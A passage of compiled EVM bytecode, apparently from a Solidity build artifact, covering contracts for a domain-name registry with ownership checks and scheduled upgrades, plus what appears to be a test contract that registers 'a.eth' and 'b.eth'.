25092565b60006020828403121561195c57600080fd5b600061196a848285016116df565b91505092915050565b6000806040838503121561198657600080fd5b6000611994858286016116df565b92505060206119a58582860161164c565b9150509250929050565b6119b8816121ba565b82525050565b6119c781612134565b82525050565b6119d681612146565b82525050565b6119e581612152565b82525050565b6119f4816121cc565b82525050565b611a03816121f0565b82525050565b6000611a148261210d565b611a1e8185612118565b9350611a2e818560208601612247565b611a378161227c565b840191505092915050565b6000611a4d8261210d565b611a578185612129565b9350611a67818560208601612247565b80840191505092915050565b6000611a80601f83612118565b91507f43616e6e6f74206f7074206e6f6e20706c616e6e656420757067726164652e006000830152602082019050919050565b6000611ac0601783612118565b91507f43616e6e6f74207570677261646520746f20766f69642e0000000000000000006000830152602082019050919050565b6000611b00601b83612118565b91507f43616e6e6f74207570677261646520696e2074686520706173742e00000000006000830152602082019050919050565b6000611b40600f83612118565b91507f496e76616c696420646f6d61696e2e00000000000000000000000000000000006000830152602082019050919050565b6000611b80600e83612118565b91507f496e76616c6964206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000611bc0600b83612118565b91507f496e76616c69642069702e0000000000000000000000000000000000000000006000830152602082019050919050565b6000611c00602283612118565b91507f43616e6e6f742063616e63656c206e6f6e20706c616e6e65642075706772616460008301527f652e0000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611c66602383612118565b91507f4e6f7420746865206f776e657220696e20757067726164656420636f6e74726160008301527f63742e00000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611ccc601583612118565b91507f446f6d61696e20616c72656164792074616b656e2e00000000000000000000006000830152602082019050919050565b6000611d0c600e83612118565b91507f4e6f7420746865206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000611d4c601883612118565b91507f5570677261646520616c72656164792072756e6e696e672e00000000000000006000830152602082019050919050565b611d88816121b0565b82525050565b6000611d9a8284611a42565b915081905092915050565b6000602082019050611dba60008301846119be565b92915050565b6000602082019050611dd560008301846119af565b92915050565b6000602082019050611df060008301846119cd565b92915050565b6000604082019050611e0b60008301856119cd565b611e1860208301846119eb565b9392505050565b6000604082019050611e3460008301856119dc565b611e4160208301846119be565b9392505050565b6000602082019050611e5d60008301846119fa565b92915050565b60006020820190508181036000830152611e7d8184611a09565b905092915050565b60006040820190508181036000830152611e9f8185611a09565b9050611eae60208301846119be565b9392505050565b60006040820190508181036000830152611ecf8185611a09565b9050611ede60208301846119dc565b9392505050565b60006060820190508181036000830152611eff8186611a09565b9050611f0e60208301856119dc565b611f1b60408301846119be565b949350505050565b60006020820190508181036000830152611f3c81611a73565b9050919050565b60006020820190508181036000830152611f5c81611ab3565b9050919050565b60006020820190508181036000830152611f7c81611af3565b9050919050565b60006020820190508181036000830152611f9c81611b33565b9050919050565b60006020820190508181036000830152611fbc81611b73565b9050919050565b60006020820190508181036000830152611fdc81611bb3565b9050919050565b60006020820190508181036000830152611ffc81611bf3565b9050919050565b6000602082019050818103600083015261201c81611c59565b9050919050565b6000602082019050818103600083015261203c81611cbf565b9050919050565b6000602082019050818103600083015261205c81611cff565b9050919050565b6000602082019050818103600083015261207c81611d3f565b9050919050565b60006040820190506120986000830185611d7f565b6120a560208301846119eb565b9392505050565b6000604051905081810181811067ffffffffffffffff821117156120d3576120d261227a565b5b8060405250919050565b600067ffffffffffffffff8211156120f8576120f761227a565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600061213f82612190565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600061218982612134565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006121c582612214565b9050919050565b60006121d7826121de565b9050919050565b60006121e982612190565b9050919050565b60006121fb82612202565b9050919050565b600061220d82612190565b9050919050565b600061221f82612226565b9050919050565b600061223182612190565b9050919050565b82818337600083830152505050565b60005b8381101561226557808201518184015260208101905061224a565b83811115612274576000848401525b50505050565bfe5b6000601f19601f8301169050919050565b61229681612134565b81146122a157600080fd5b50565b6122ad81612146565b81146122b857600080fd5b50565b6122c481612152565b81146122cf57600080fd5b50565b6122db8161217e565b81146122e657600080fd5b50565b600281106122f657600080fd5b50565b612302816121b0565b811461230d57600080fd5b5056fea264697066735822122005eb7b9ce5d8e8cd0318058e002f115427649b6a5a095655edf311ff4ccee79a64736f6c6343000704003360c06040523480156200001157600080fd5b5060405162001158380380620011588339818101604052810190620000379190620000db565b8173ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b815250508073ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff1660601b815250505050620001ac565b600081519050620000be8162000178565b92915050565b600081519050620000d58162000192565b92915050565b60008060408385031215620000ef57600080fd5b6000620000ff85828601620000ad565b92505060206200011285828601620000c4565b9150509250929050565b6000620001298262000158565b9050919050565b60006200013d826200011c565b9050919050565b600062000151826200011c565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b620001838162000130565b81146200018f57600080fd5b50565b6200019d8162000144565b8114620001a957600080fd5b50565b60805160601c60a05160601c610f78620001e06000398061012a52806107d55250806103d152806107785250610f786000f3fe608060405234801561001057600080fd5b50600436106100625760003560e01c80630528b34514610067578063461a44781461008557806389404978146100b65780639735009b146100d2578063f7a46696146100f0578063fbf58b3e1461010c575b600080fd5b61006f610128565b60405161007c9190610cc4565b60405180910390f35b61009f600480360381019061009a9190610943565b61014c565b6040516100ad929190610c57565b60405180910390f35b6100d060048036038101906100cb9190610a2c565b6101c9565b005b6100da6103cf565b6040516100e79190610c80565b60405180910390f35b61010a600480360381019061010591906109d8565b6103f3565b005b61012660048036038101906101219190610984565b61059d565b005b7f000000000000000000000000000000000000000000000000000000000000000081565b60008060008360405161015f9190610c40565b908152602001604051809103902060000160009054906101000a900460e01b60008460405161018e9190610c40565b908152602001604051809103902060000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691509150915091565b600060e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141561022f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161022690610d1f565b60405180910390fd5b6000835111610273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161026a90610cdf565b60405180910390fd5b600080846040516102849190610c40565b90815260200160405180910390209050600060e01b8160000160009054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480156103275750600073ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b610366576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161035d90610d3f565b60405180910390fd5b828160000160006101000a81548163ffffffff021916908360e01c0217905550818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600080836040516104049190610c40565b908152602001604051809103902090503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561049e57503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b806104d357506104d2338260000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610774565b5b610512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050990610d5f565b60405180910390fd5b600060e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90610d1f565b60405180910390fd5b818160000160006101000a81548163ffffffff021916908360e01c0217905550505050565b600080836040516105ae9190610c40565b908152602001604051809103902090503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561064857503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b8061067d575061067c338260000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610774565b5b6106bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b390610d5f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561072c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072390610cff565b60405180910390fd5b818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b60007f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107d35760019050610881565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff16635efd538484846040518363ffffffff1660e01b815260040161082e929190610c9b565b60206040518083038186803b15801561084657600080fd5b505afa15801561085a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087e919061091a565b90505b92915050565b60008135905061089681610efd565b92915050565b6000815190506108ab81610f14565b92915050565b6000813590506108c081610f2b565b92915050565b600082601f8301126108d757600080fd5b81356108ea6108e582610db0565b610d7f565b9150808252602083016020830185838301111561090657600080fd5b610911838284610eb9565b50505092915050565b60006020828403121561092c57600080fd5b600061093a8482850161089c565b91505092915050565b60006020828403121561095557600080fd5b600082013567ffffffffffffffff81111561096f57600080fd5b61097b848285016108c6565b91505092915050565b6000806040838503121561099757600080fd5b600083013567ffffffffffffffff8111156109b157600080fd5b6109bd858286016108c6565b92505060206109ce85828601610887565b9150509250929050565b600080604083850312156109eb57600080fd5b600083013567ffffffffffffffff811115610a0557600080fd5b610a11858286016108c6565b9250506020610a22858286016108b1565b9150509250929050565b600080600060608486031215610a4157600080fd5b600084013567ffffffffffffffff811115610a5b57600080fd5b610a67868287016108c6565b9350506020610a78868287016108b1565b9250506040610a8986828701610887565b9150509250925092565b610a9c81610e07565b82525050565b610aab81610e25565b82525050565b610aba81610e71565b82525050565b610ac981610e95565b82525050565b6000610ada82610de0565b610ae48185610dfc565b9350610af4818560208601610ec8565b80840191505092915050565b6000610b0d600f83610deb565b91507f496e76616c696420646f6d61696e2e00000000000000000000000000000000006000830152602082019050919050565b6000610b4d600e83610deb565b91507f496e76616c6964206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000610b8d600b83610deb565b91507f496e76616c69642069702e0000000000000000000000000000000000000000006000830152602082019050919050565b6000610bcd601583610deb565b91507f446f6d61696e20616c72656164792074616b656e2e00000000000000000000006000830152602082019050919050565b6000610c0d600e83610deb565b91507f4e6f7420746865206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000610c4c8284610acf565b915081905092915050565b6000604082019050610c6c6000830185610aa2565b610c796020830184610a93565b9392505050565b6000602082019050610c956000830184610ab1565b92915050565b6000604082019050610cb06000830185610ab1565b610cbd6020830184610a93565b9392505050565b6000602082019050610cd96000830184610ac0565b92915050565b60006020820190508181036000830152610cf881610b00565b9050919050565b60006020820190508181036000830152610d1881610b40565b9050919050565b60006020820190508181036000830152610d3881610b80565b9050919050565b60006020820190508181036000830152610d5881610bc0565b9050919050565b60006020820190508181036000830152610d7881610c00565b9050919050565b6000604051905081810181811067ffffffffffffffff82111715610da657610da5610efb565b5b8060405250919050565b600067ffffffffffffffff821115610dcb57610dca610efb565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000610e1282610e51565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610e7c82610e83565b9050919050565b6000610e8e82610e51565b9050919050565b6000610ea082610ea7565b9050919050565b6000610eb282610e51565b9050919050565b82818337600083830152505050565b60005b83811015610ee6578082015181840152602081019050610ecb565b83811115610ef5576000848401525b50505050565bfe5b610f0681610e07565b8114610f1157600080fd5b50565b610f1d81610e19565b8114610f2857600080fd5b50565b610f3481610e25565b8114610f3f57600080fd5b5056fea2646970667358221220eae0b7acf5616ffe9f18fa67a8e9d5245f621f3a5ce549e7c2ff61c9cfcd5f6d64736f6c6343000704003360e06040523480156200001157600080fd5b506040516200113438038062001134833981810160405281019062000037919062000148565b82600160006101000a81548163ffffffff021916908360e01c02179055508173ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b815250508073ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff1660601b815250503373ffffffffffffffffffffffffffffffffffffffff1660c08173ffffffffffffffffffffffffffffffffffffffff1660601b8152505050505062000274565b600081519050620001148162000226565b92915050565b6000815190506200012b8162000240565b92915050565b60008151905062000142816200025a565b92915050565b6000806000606084860312156200015e57600080fd5b60006200016e8682870162000103565b935050602062000181868287016200011a565b9250506040620001948682870162000131565b9150509250925092565b6000620001ab8262000206565b9050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b6000620001eb826200019e565b9050919050565b6000620001ff826200019e565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6200023181620001b2565b81146200023d57600080fd5b50565b6200024b81620001de565b81146200025757600080fd5b50565b6200026581620001f2565b81146200027157600080fd5b50565b60805160601c60a05160601c60c05160601c610e8a620002aa6000398061042c5250806101615250806104085250610e8a6000f3fe608060405234801561001057600080fd5b506004361061007d5760003560e01c80639735009b1161005b5780639735009b146100ed578063d554b2f61461010b578063f7a4669614610127578063fbf58b3e146101435761007d565b80630528b34514610082578063461a4478146100a057806389404978146100d1575b600080fd5b61008a61015f565b6040516100979190610bf9565b60405180910390f35b6100ba60048036038101906100b591906108a1565b610183565b6040516100c8929190610bb5565b60405180910390f35b6100eb60048036038101906100e6919061098a565b610200565b005b6100f5610406565b6040516101029190610bde565b60405180910390f35b6101256004803603810190610120919061098a565b61042a565b005b610141600480360381019061013c9190610936565b61050c565b005b61015d600480360381019061015891906108e2565b610681565b005b7f000000000000000000000000000000000000000000000000000000000000000081565b6000806000836040516101969190610b9e565b908152602001604051809103902060000160009054906101000a900460e01b6000846040516101c59190610b9e565b908152602001604051809103902060000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691509150915091565b600060e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415610266576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161025d90610c54565b60405180910390fd5b60008351116102aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102a190610c14565b60405180910390fd5b600080846040516102bb9190610b9e565b90815260200160405180910390209050600060e01b8160000160009054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614801561035e5750600073ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61039d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161039490610c74565b60405180910390fd5b828160000160006101000a81548163ffffffff021916908360e01c0217905550818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461048257600080fd5b600080846040516104939190610b9e565b90815260200160405180910390209050828160000160006101000a81548163ffffffff021916908360e01c0217905550818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b6000808360405161051d9190610b9e565b908152602001604051809103902090503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156105b757503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6105f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ed90610c94565b60405180910390fd5b600060e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141561065c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065390610c54565b60405180910390fd5b818160000160006101000a81548163ffffffff021916908360e01c0217905550505050565b600080836040516106929190610b9e565b908152602001604051809103902090503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561072c57503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61076b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076290610c94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156107db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d290610c34565b60405180910390fd5b818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b60008135905061083281610e26565b92915050565b60008135905061084781610e3d565b92915050565b600082601f83011261085e57600080fd5b813561087161086c82610ce5565b610cb4565b9150808252602083016020830185838301111561088d57600080fd5b610898838284610de2565b50505092915050565b6000602082840312156108b357600080fd5b600082013567ffffffffffffffff8111156108cd57600080fd5b6108d98482850161084d565b91505092915050565b600080604083850312156108f557600080fd5b600083013567ffffffffffffffff81111561090f57600080fd5b61091b8582860161084d565b925050602061092c85828601610823565b9150509250929050565b6000806040838503121561094957600080fd5b600083013567ffffffffffffffff81111561096357600080fd5b61096f8582860161084d565b925050602061098085828601610838565b9150509250929050565b60008060006060848603121561099f57600080fd5b600084013567ffffffffffffffff8111156109b957600080fd5b6109c58682870161084d565b93505060206109d686828701610838565b92505060406109e786828701610823565b9150509250925092565b6109fa81610d3c565b82525050565b610a0981610d4e565b82525050565b610a1881610d9a565b82525050565b610a2781610dbe565b82525050565b6000610a3882610d15565b610a428185610d31565b9350610a52818560208601610df1565b80840191505092915050565b6000610a6b600f83610d20565b91507f496e76616c696420646f6d61696e2e00000000000000000000000000000000006000830152602082019050919050565b6000610aab600e83610d20565b91507f496e76616c6964206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000610aeb600b83610d20565b91507f496e76616c69642069702e0000000000000000000000000000000000000000006000830152602082019050919050565b6000610b2b601583610d20565b91507f446f6d61696e20616c72656164792074616b656e2e00000000000000000000006000830152602082019050919050565b6000610b6b600e83610d20565b91507f4e6f7420746865206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000610baa8284610a2d565b915081905092915050565b6000604082019050610bca6000830185610a00565b610bd760208301846109f1565b9392505050565b6000602082019050610bf36000830184610a0f565b92915050565b6000602082019050610c0e6000830184610a1e565b92915050565b60006020820190508181036000830152610c2d81610a5e565b9050919050565b60006020820190508181036000830152610c4d81610a9e565b9050919050565b60006020820190508181036000830152610c6d81610ade565b9050919050565b60006020820190508181036000830152610c8d81610b1e565b9050919050565b60006020820190508181036000830152610cad81610b5e565b9050919050565b6000604051905081810181811067ffffffffffffffff82111715610cdb57610cda610e24565b5b8060405250919050565b600067ffffffffffffffff821115610d0057610cff610e24565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000610d4782610d7a565b9050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610da582610dac565b9050919050565b6000610db782610d7a565b9050919050565b6000610dc982610dd0565b9050919050565b6000610ddb82610d7a565b9050919050565b82818337600083830152505050565b60005b83811015610e0f578082015181840152602081019050610df4565b83811115610e1e576000848401525b50505050565bfe5b610e2f81610d3c565b8114610e3a57600080fd5b50565b610e4681610d4e565b8114610e5157600080fd5b5056fea2646970667358221220b23f98d283160e20da122f7f02a954df3b2637f635f4b30e955c8a118233fa3764736f6c6343000704003360c06040523480156200001157600080fd5b5060405162000cc138038062000cc18339818101604052810190620000379190620000db565b8173ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b815250508073ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff1660601b815250505050620001ac565b600081519050620000be8162000178565b92915050565b600081519050620000d58162000192565b92915050565b60008060408385031215620000ef57600080fd5b6000620000ff85828601620000ad565b92505060206200011285828601620000c4565b9150509250929050565b6000620001298262000158565b9050919050565b60006200013d826200011c565b9050919050565b600062000151826200011c565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b620001838162000130565b81146200018f57600080fd5b50565b6200019d8162000144565b8114620001a957600080fd5b50565b60805160601c60a05160601c610ad7620001ea600039806101ed528061038052508061013c52806102ed528061040e528061049f5250610ad76000f3fe608060405234801561001057600080fd5b506004361061007d5760003560e01c80639be1238f1161005b5780639be1238f146100d9578063d4eec5a6146100f5578063f7a46696146100ff578063fbf58b3e1461011b5761007d565b8063461a4478146100825780635b48684e146100b357806363c95186146100bd575b600080fd5b61009c60048036038101906100979190610627565b610137565b6040516100aa9291906107dd565b60405180910390f35b6100bb6101eb565b005b6100d760048036038101906100d29190610710565b610279565b005b6100f360048036038101906100ee91906106bc565b6102eb565b005b6100fd61037e565b005b610119600480360381019061011491906106bc565b61040c565b005b61013560048036038101906101309190610668565b61049d565b005b6000807f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663461a4478846040518263ffffffff1660e01b81526004016101939190610821565b604080518083038186803b1580156101aa57600080fd5b505afa1580156101be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101e291906105eb565b91509150915091565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663b1d6d39d60016040518263ffffffff1660e01b81526004016102459190610806565b600060405180830381600087803b15801561025f57600080fd5b505af1158015610273573d6000803e3d6000fd5b50505050565b8073ffffffffffffffffffffffffffffffffffffffff1663f7a4669684846040518363ffffffff1660e01b81526004016102b4929190610873565b600060405180830381600087803b1580156102ce57600080fd5b505af11580156102e2573d6000803e3d6000fd5b50505050505050565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663894049788383306040518463ffffffff1660e01b8152600401610348939291906108a3565b600060405180830381600087803b15801561036257600080fd5b505af1158015610376573d6000803e3d6000fd5b505050505050565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663b1d6d39d60006040518263ffffffff1660e01b81526004016103d89190610806565b600060405180830381600087803b1580156103f257600080fd5b505af1158015610406573d6000803e3d6000fd5b50505050565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f7a4669683836040518363ffffffff1660e01b8152600401610467929190610873565b600060405180830381600087803b15801561048157600080fd5b505af1158015610495573d6000803e3d6000fd5b505050505050565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663fbf58b3e83836040518363ffffffff1660e01b81526004016104f8929190610843565b600060405180830381600087803b15801561051257600080fd5b505af1158015610526573d6000803e3d6000fd5b505050505050565b60008135905061053d81610a5c565b92915050565b60008151905061055281610a5c565b92915050565b60008135905061056781610a73565b92915050565b60008151905061057c81610a73565b92915050565b60008135905061059181610a8a565b92915050565b600082601f8301126105a857600080fd5b81356105bb6105b682610912565b6108e1565b915080825260208301602083018583830111156105d757600080fd5b6105e28382846109f3565b50505092915050565b600080604083850312156105fe57600080fd5b600061060c8582860161056d565b925050602061061d85828601610543565b9150509250929050565b60006020828403121561063957600080fd5b600082013567ffffffffffffffff81111561065357600080fd5b61065f84828501610597565b91505092915050565b6000806040838503121561067b57600080fd5b600083013567ffffffffffffffff81111561069557600080fd5b6106a185828601610597565b92505060206106b28582860161052e565b9150509250929050565b600080604083850312156106cf57600080fd5b600083013567ffffffffffffffff8111156106e957600080fd5b6106f585828601610597565b925050602061070685828601610558565b9150509250929050565b60008060006060848603121561072557600080fd5b600084013567ffffffffffffffff81111561073f57600080fd5b61074b86828701610597565b935050602061075c86828701610558565b925050604061076d86828701610582565b9150509250925092565b6107808161095e565b82525050565b61078f81610970565b82525050565b61079e816109e1565b82525050565b60006107af82610942565b6107b9818561094d565b93506107c9818560208601610a02565b6107d281610a37565b840191505092915050565b60006040820190506107f26000830185610786565b6107ff6020830184610777565b9392505050565b600060208201905061081b6000830184610795565b92915050565b6000602082019050818103600083015261083b81846107a4565b905092915050565b6000604082019050818103600083015261085d81856107a4565b905061086c6020830184610777565b9392505050565b6000604082019050818103600083015261088d81856107a4565b905061089c6020830184610786565b9392505050565b600060608201905081810360008301526108bd81866107a4565b90506108cc6020830185610786565b6108d96040830184610777565b949350505050565b6000604051905081810181811067ffffffffffffffff8211171561090857610907610a35565b5b8060405250919050565b600067ffffffffffffffff82111561092d5761092c610a35565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000610969826109c1565b9050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b60006109a78261095e565b9050919050565b60008190506109bc82610a48565b919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006109ec826109ae565b9050919050565b82818337600083830152505050565b60005b83811015610a20578082015181840152602081019050610a05565b83811115610a2f576000848401525b50505050565bfe5b6000601f19601f8301169050919050565b60028110610a5957610a58610a35565b5b50565b610a658161095e565b8114610a7057600080fd5b50565b610a7c81610970565b8114610a8757600080fd5b50565b610a938161099c565b8114610a9e57600080fd5b5056fea264697066735822122004a334eb3716dfafcf036f3ecf492375e65e1813188daf1697f185fb67b35bde64736f6c63430007040033a264697066735822122075386a84bd3fa86e0b05b9b51ff3cbbd19f7364afa4ae3d315940750696b2ce964736f6c63430007040033\",\"bin-runtime\":\"60806040523480156200001157600080fd5b50600436106200005e5760003560e01c80630a9254e41462000063578063180428c0146200006f578063538d1c33146200007b578063ba414fa61462000087578063fa7626d414620000a9575b600080fd5b6200006d620000cb565b005b62000079620000d7565b005b6200008562000f11565b005b6200009162002f86565b604051620000a0919062003a3b565b60405180910390f35b620000b362002f99565b604051620000c2919062003a3b565b60405180910390f35b620000d562002faa565b565b60606040518060400160405280600581526020017f612e65746800000000000000000000000000000000000000000000000000000081525090506000630102030460e01b905060606040518060400160405280600581526020017f622e65746800000000000000000000000000000000000000000000000000000081525090506000630506070860e01b905060008060066000600481106200017557fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639be1238f87876040518363ffffffff1660e01b8152600401620001d392919062003b5a565b600060405180830381600087803b158015620001ee57600080fd5b505af115801562000203573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a4478876040518263ffffffff1660e01b815260040162000264919062003b36565b604080518083038186803b1580156200027c57600080fd5b505afa15801562000291573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002b791906200389d565b809250819350505062000309827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916867bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191662003448565b620003458160066000600481106200031d57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662003574565b60066001600481106200035457fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639be1238f85856040518363ffffffff1660e01b8152600401620003b292919062003b5a565b600060405180830381600087803b158015620003cd57600080fd5b505af1158015620003e2573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a4478856040518263ffffffff1660e01b815260040162000443919062003b36565b604080518083038186803b1580156200045b57600080fd5b505afa15801562000470573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200049691906200389d565b8092508193505050620004e8827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916847bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191662003448565b62000524816006600160048110620004fc57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662003574565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166327557157603c4201600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401620005a892919062003c4a565b600060405180830381600087803b158015620005c357600080fd5b505af1158015620005d8573d6000803e3d6000fd5b505050506200068a600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d2ac7a5f6040518163ffffffff1660e01b815260040160206040518083038186803b1580156200064957600080fd5b505afa1580156200065e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000684919062003830565b620036f8565b60066000600481106200069957fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b48684e6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156200070357600080fd5b505af115801562000718573d6000803e3d6000fd5b5050505060066002600481106200072b57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b48684e6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156200079557600080fd5b505af1158015620007aa573d6000803e3d6000fd5b50505050600060029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e5d6bf02600a6040518263ffffffff1660e01b81526004016200080c919062003abf565b600060405180830381600087803b1580156200082757600080fd5b505af11580156200083c573d6000803e3d6000fd5b5050505060066002600481106200084f57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d4eec5a66040518163ffff